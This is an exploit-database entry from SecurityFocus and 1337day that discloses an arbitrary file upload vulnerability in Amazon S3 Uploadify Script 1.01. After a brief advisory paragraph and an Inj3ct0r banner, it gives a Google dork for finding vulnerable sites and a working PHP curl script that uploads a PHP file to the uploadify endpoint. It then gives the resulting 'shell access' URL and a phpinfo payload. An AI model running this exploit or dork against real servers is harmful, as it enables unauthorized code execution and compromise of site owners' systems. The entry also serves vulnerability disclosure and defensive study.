source: http://www.securityfocus.com/bid/54170/info

Amazon S3 Uploadify Script is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Amazon S3 Uploadify Script 1.01 is vulnerable; other versions may also be affected. 

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Sammy FORGIT member from Inj3ct0r Team             1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
##################################################
# Description : uploadify-amazon-s3 Arbitrary File Upload Vulnerability
# Version : 1.01
# Link : http://code.google.com/p/uploadify-amazon-s3/
# Software : http://code.google.com/p/uploadify-amazon-s3/downloads/detail?name=uploadify-amazon-s3-101.zip&can=2&q=
# Date : 21-06-2012
# Google Dork : inurl:/files/uploadify/ -google
# Site : 1337day.com Inj3ct0r Exploit Database
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################


Exploit :

<?php

$uploadfile="lo.php";

$ch = curl_init("http://www.exemple.com/files/uploadify/uploadify.php?folder=/files/uploadify/");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

Shell Access : http://www.exemple.com/files/uploadify/lo.php

lo.php
<?php
phpinfo();
?>


# Site : 1337day.com Inj3ct0r Exploit Database